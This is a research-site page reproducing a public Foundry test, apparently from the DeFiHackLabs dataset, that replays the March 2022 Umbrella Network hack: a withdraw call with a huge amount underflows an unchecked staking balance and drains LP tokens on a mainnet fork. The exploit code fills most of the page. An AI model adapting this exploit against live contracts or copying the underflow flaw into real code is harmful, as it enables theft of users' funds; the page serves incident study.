Public reproduction file
src/test/2022-03/Umbrella_exp.sol
Public reproduction file for dataset entry Umbrella Network.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : 700k8// Attacker : 0x1751e3e1aaf1a3e7b973c889b7531f43fc59f7d09// AttackContract : 0x89767960b76b009416bc7ff4a4b79051eed0a9ee10// StakingRewards contract: 0xB3FB1D01B07A706736Ca175f827e4F56021b85dE11// Attack TX: https://etherscan.io/tx/0x33479bcfbc792aa0f8103ab0d7a3784788b5b0e1467c81ffbed1b7682660b4fa12// Attack TX: https://bscscan.com/tx/0x784b68dc7d06ee181f3127d5eb5331850b5e690cc63dd099cd7b8dc863204bf614interface IStakingRewards {15 function withdraw(16 uint256 amount17 ) external;18}20contract AttackContract is Test {21 CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);22 IStakingRewards constant StakingRewards = IStakingRewards(0xB3FB1D01B07A706736Ca175f827e4F56021b85dE);23 IERC20 constant uniLP = IERC20(0xB1BbeEa2dA2905E6B0A30203aEf55c399C53D042);25 function setUp() public {26 cheat.createSelectFork("mainnet", 14_421_983); // Fork mainnet at block 1442198327 }29 function testExploit() public {30 emit log_named_decimal_uint("Before exploiting, Attacker UniLP Balance", uniLP.balanceOf(address(this)), 18);32 StakingRewards.withdraw(8_792_873_290_680_252_648_282); //without putting any crypto, we can drain out the LP tokens in uniswap pool by underflow.34 /*35 StakingRewards contract, vulnerable code snippet.36 function _withdraw(uint256 amount, address user, address recipient) internal nonReentrant updateReward(user) {37 require(amount != 0, "Cannot withdraw 0");39 // not using safe math, because there is no way to overflow if stake tokens not overflow40 _totalSupply = _totalSupply - amount;41 _balances[user] = _balances[user] - amount; //<---- underflow here.42 */43 emit log_named_decimal_uint("After exploiting, Attacker UniLP Balance", uniLP.balanceOf(address(this)), 18);44 }45}Analysis
Dataset entry
Public Foundry test for “Umbrella Network” (2022-03-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
13 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-03/Agave_exp.solSame month in the dataset · 208 lines
- src/test/2022-03/Auctus_exp.solSame month in the dataset · 62 lines
- src/test/2022-03/Bacon_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/CompoundTusd_exp.solSame month in the dataset · 23 lines
- src/test/2022-03/Fantasm_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/HundredFinance_exp.solSame month in the dataset · 142 lines
- src/test/2022-03/LiFi_exp.solSame month in the dataset · 412 lines
- src/test/2022-03/OneRing_exp.solSame month in the dataset · 31 lines
- src/test/2022-03/Paraluni_exp.solSame month in the dataset · 89 lines
- src/test/2022-03/RedactedCartel_exp.solSame month in the dataset · 76 lines
- src/test/2022-03/Revest_exp.solSame month in the dataset · 67 lines
- src/test/2022-03/Ronin_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/TreasureDAO_exp.solSame month in the dataset · 30 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x1751e3e1aaf1a3e7b973c889b7531f43fc59f7d0
- Attack Tx
0x33479bcfbc792aa0f8103ab0d7a3784788b5b0e1467c81ffbed1b7682660b4fa
- Attack Tx
0x784b68dc7d06ee181f3127d5eb5331850b5e690cc63dd099cd7b8dc863204bf6
File record
- Name
- Umbrella Network
- Path
- src/test/2022-03/Umbrella_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8e12af3370bba49d4b7875a80894fbee35cb5ae8
- Language
- Solidity
- Size
- 46 lines
- Date
- 2022-03-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-03/Umbrella_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8e12af3370bba49d4b7875a80894fbee35cb5ae8, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.